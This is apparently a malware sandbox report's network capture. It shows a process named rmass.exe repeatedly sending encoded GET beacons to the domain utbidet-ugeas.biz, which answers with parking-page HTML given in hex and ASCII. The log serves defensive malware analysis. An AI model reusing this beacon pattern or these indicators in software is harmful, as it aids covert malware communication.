79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 64 71 64 68 59 61 54 62 46 49 71 51 65 38 57 51 68 75 4a 41 72 6d 6d 52 77 38 46 6d 35 33 50 62 6a 68 38 55 78 35 54 4c 49 38 35 63 4f 33 33 71 6e 32 45 69 54 6d 42 39 70 6f 73 63 69 6d 53 73 7a 4f 2b 2b 33 6c 65 56 56 55 64 31 4d 33 31 42 50 43 50 54 63 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_dqdhYaTbFIqQe8WQhuJArmmRw8Fm53Pbjh8Ux5TLI85cO33qn2EiTmB9poscimSszO++3leVVUd1M31BPCPTcA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:17.140108109 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMjliYjlhNWQtN2VjZC00NjI1LTk2NzItNzU1YmYyODdiMDZhIiwicGFnZV90aW1lIjoxNzM2MDcwND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	58646	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:17.485039949 CET	169	OUT	GET /d/N?02295828502958285007580450295800E82D740A942858E8F82B5C1E7E1B76116219680650 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:17.978286028 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:17 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 934484eb-52f9-4a26-b1b3-4d3363d5679a cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_CW8UpA6jrtk9TiyPkjrjanlfSMwQr4b/k+aI694EuiwkNGMkXPnZUrVXMOGs7BkAH91Wu0dIr8bZWKiH9lS04w== set-cookie: parking_session=934484eb-52f9-4a26-b1b3-4d3363d5679a; expires=Sun, 05 Jan 2025 10:03:17 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 43 57 38 55 70 41 36 6a 72 74 6b 39 54 69 79 50 6b 6a 72 6a 61 6e 6c 66 53 4d 77 51 72 34 62 2f 6b 2b 61 49 36 39 34 45 75 69 77 6b 4e 47 4d 6b 58 50 6e 5a 55 72 56 58 4d 4f 47 73 37 42 6b 41 48 39 31 57 75 30 64 49 72 38 62 5a 57 4b 69 48 39 6c 53 30 34 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_CW8UpA6jrtk9TiyPkjrjanlfSMwQr4b/k+aI694EuiwkNGMkXPnZUrVXMOGs7BkAH91Wu0dIr8bZWKiH9lS04w==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:17.978301048 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOTM0NDg0ZWItNTJmOS00YTI2LWIxYjMtNGQzMzYzZDU2NzlhIiwicGFnZV90aW1lIjoxNzM2MDcwND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	58650	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:18.298655987 CET	169	OUT	GET /d/N?020C789E210C789E212278B2210C78B6990854BCE50D785E890E7CA80F3E56A7133C48B021 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:18.761688948 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:17 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 9c48a2e2-2c7a-4395-b690-66c2ac07ec5c cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_QcyPHA6+vkwgtpo/RrQaSfJwb5xlIiObLzBl+4YJXO4pB0TNi1DXSotbkWX9lQZSOElBpA+qwBbeuUyeiBgFCA== set-cookie: parking_session=9c48a2e2-2c7a-4395-b690-66c2ac07ec5c; expires=Sun, 05 Jan 2025 10:03:18 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 51 63 79 50 48 41 36 2b 76 6b 77 67 74 70 6f 2f 52 72 51 61 53 66 4a 77 62 35 78 6c 49 69 4f 62 4c 7a 42 6c 2b 34 59 4a 58 4f 34 70 42 30 54 4e 69 31 44 58 53 6f 74 62 6b 57 58 39 6c 51 5a 53 4f 45 6c 42 70 41 2b 71 77 42 62 65 75 55 79 65 69 42 67 46 43 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_QcyPHA6+vkwgtpo/RrQaSfJwb5xlIiObLzBl+4YJXO4pB0TNi1DXSotbkWX9lQZSOElBpA+qwBbeuUyeiBgFCA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:18.761703014 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOWM0OGEyZTItMmM3YS00Mzk1LWI2OTAtNjZjMmFjMDdlYzVjIiwicGFnZV90aW1lIjoxNzM2MDcwND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	58653	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:19.303169966 CET	169	OUT	GET /d/N?02DE40A00ADE40A00AF0408C0ADE4088B2DA6C82CEDF4060A2DC449624EC6E9938EE708E0A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:19.752027988 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:19 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 879174b3-7c29-4e3e-a0f7-06f1c649dc0d cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Sg52c+xFKY8lj0J6+qweM1FngEhqu9uf/u/Kg/TYsE4JRBBouLabZWInnlInHq9TmMT0f1A6VqtkiWLKhAbuUg== set-cookie: parking_session=879174b3-7c29-4e3e-a0f7-06f1c649dc0d; expires=Sun, 05 Jan 2025 10:03:19 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 53 67 35 32 63 2b 78 46 4b 59 38 6c 6a 30 4a 36 2b 71 77 65 4d 31 46 6e 67 45 68 71 75 39 75 66 2f 75 2f 4b 67 2f 54 59 73 45 34 4a 52 42 42 6f 75 4c 61 62 5a 57 49 6e 6e 6c 49 6e 48 71 39 54 6d 4d 54 30 66 31 41 36 56 71 74 6b 69 57 4c 4b 68 41 62 75 55 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Sg52c+xFKY8lj0J6+qweM1FngEhqu9uf/u/Kg/TYsE4JRBBouLabZWInnlInHq9TmMT0f1A6VqtkiWLKhAbuUg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:19.752051115 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiODc5MTc0YjMtN2MyOS00ZTNlLWEwZjctMDZmMWM2NDlkYzBkIiwicGFnZV90aW1lIjoxNzM2MDcwND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	58656	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:20.288091898 CET	169	OUT	GET /d/N?022692D7AD2692D7AD0892FBAD2692FF1522BEF569279217052496E18314BCEE9F16A2F9AD HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:20.761445045 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:20 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: a86912c2-3d29-4ad1-ade0-fcdf5335a3b1 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_k0a2/1OpUh0XvhHl+0oPP4KhyhCI/zC0dpQPX2FpNu7r2oFcRaG0ubAp6dA1AIsaotKiTRrNVhyJJVaymZbmTw== set-cookie: parking_session=a86912c2-3d29-4ad1-ade0-fcdf5335a3b1; expires=Sun, 05 Jan 2025 10:03:20 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 6b 30 61 32 2f 31 4f 70 55 68 30 58 76 68 48 6c 2b 30 6f 50 50 34 4b 68 79 68 43 49 2f 7a 43 30 64 70 51 50 58 32 46 70 4e 75 37 72 32 6f 46 63 52 61 47 30 75 62 41 70 36 64 41 31 41 49 73 61 6f 74 4b 69 54 52 72 4e 56 68 79 4a 4a 56 61 79 6d 5a 62 6d 54 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_k0a2/1OpUh0XvhHl+0oPP4KhyhCI/zC0dpQPX2FpNu7r2oFcRaG0ubAp6dA1AIsaotKiTRrNVhyJJVaymZbmTw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:20.761464119 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYTg2OTEyYzItM2QyOS00YWQxLWFkZTAtZmNkZjUzMzVhM2IxIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	58658	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:22.304214954 CET	169	OUT	GET /d/N?02F3F115CDF3F115CDDDF139CDF3F13D75F7DD3709F2F1D565F1F523E3C1DF2CFFC3C13BCD HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:22.758249044 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:21 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: b0558ab1-8531-4891-941d-1e281ffafb71 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_E7iO+d9z6K5czP4E3px8uwgLtRGJ1//QWvUvQzbsvcwl7yDCm6Dvs9aZ7woXy1qxOC7I+bRrDdoHV55nrFDaOg== set-cookie: parking_session=b0558ab1-8531-4891-941d-1e281ffafb71; expires=Sun, 05 Jan 2025 10:03:22 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 45 37 69 4f 2b 64 39 7a 36 4b 35 63 7a 50 34 45 33 70 78 38 75 77 67 4c 74 52 47 4a 31 2f 2f 51 57 76 55 76 51 7a 62 73 76 63 77 6c 37 79 44 43 6d 36 44 76 73 39 61 5a 37 77 6f 58 79 31 71 78 4f 43 37 49 2b 62 52 72 44 64 6f 48 56 35 35 6e 72 46 44 61 4f 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_E7iO+d9z6K5czP4E3px8uwgLtRGJ1//QWvUvQzbsvcwl7yDCm6Dvs9aZ7woXy1qxOC7I+bRrDdoHV55nrFDaOg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:22.758271933 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYjA1NThhYjEtODUzMS00ODkxLTk0MWQtMWUyODFmZmFmYjcxIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	58660	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:25.031229019 CET	169	OUT	GET /d/N?0228142B8A28142B8A0614078A281403322C38094E2914EB222A101DA41A3A12B81824058A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:25.494308949 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:24 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: e80dc196-e860-46c0-9a79-9d336964311b cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_KzrVoIFZFsh1iIRJi6WziOYMAV+ZpwVE/yM0GkaGWNfHCo4T6jECcmYJX/FXj12QKV1Qhp+h9nQ5TmVpp/rzWQ== set-cookie: parking_session=e80dc196-e860-46c0-9a79-9d336964311b; expires=Sun, 05 Jan 2025 10:03:25 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4b 7a 72 56 6f 49 46 5a 46 73 68 31 69 49 52 4a 69 36 57 7a 69 4f 59 4d 41 56 2b 5a 70 77 56 45 2f 79 4d 30 47 6b 61 47 57 4e 66 48 43 6f 34 54 36 6a 45 43 63 6d 59 4a 58 2f 46 58 6a 31 32 51 4b 56 31 51 68 70 2b 68 39 6e 51 35 54 6d 56 70 70 2f 72 7a 57 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_KzrVoIFZFsh1iIRJi6WziOYMAV+ZpwVE/yM0GkaGWNfHCo4T6jECcmYJX/FXj12QKV1Qhp+h9nQ5TmVpp/rzWQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
